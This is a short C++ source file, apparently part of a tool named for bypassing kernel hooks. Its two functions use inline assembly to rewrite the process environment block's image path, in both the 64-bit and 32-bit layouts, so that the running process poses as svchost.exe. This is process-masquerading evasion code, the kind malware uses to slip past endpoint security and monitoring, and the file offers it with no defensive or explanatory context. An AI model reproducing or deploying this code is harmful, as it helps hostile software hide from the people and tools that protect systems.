#include "stdafx.h"
#include "bypassKnlhooks.h"
WCHAR szPath32[MAX_PATH];
WCHAR szPath64[MAX_PATH];
void fakeX64ImagePath()
{
	int a = NULL;
	GetSystemDirectoryW(szPath64, MAX_PATH);
	lstrcatW(szPath64, L"\\svchost.exe");
	__asm
	{
		pushad
			mov eax, dword ptr fs:[0x30]
		add eax, 0x1000
			mov eax, [eax+0x020]
		add eax, 0x060
			mov [a], eax
			add eax, 0x8
			lea ebx, szPath64
			mov [eax], ebx
			popad
	}
	//wprintf(L"x64 pImagePathName: (0x%08x)  \n", a);
}
void fakeX86ImagePath()
{
	int a = NULL;
	//wprintf(L"jdjjf32  \n");
	GetSystemDirectoryW(szPath32, MAX_PATH);
	lstrcatW(szPath32, L"\\svchost.exe");
	__asm
	{
		pushad
			mov eax, dword ptr fs:[0x30]
		mov eax, [eax+0x10]
		add eax, 0x38
			add eax, 0x4
			lea ebx, szPath32;
		mov [eax], ebx
			mov [a], eax
			popad
	}
	//wprintf(L"x86 pImagePathName: (0x%08x)  \n", a);
}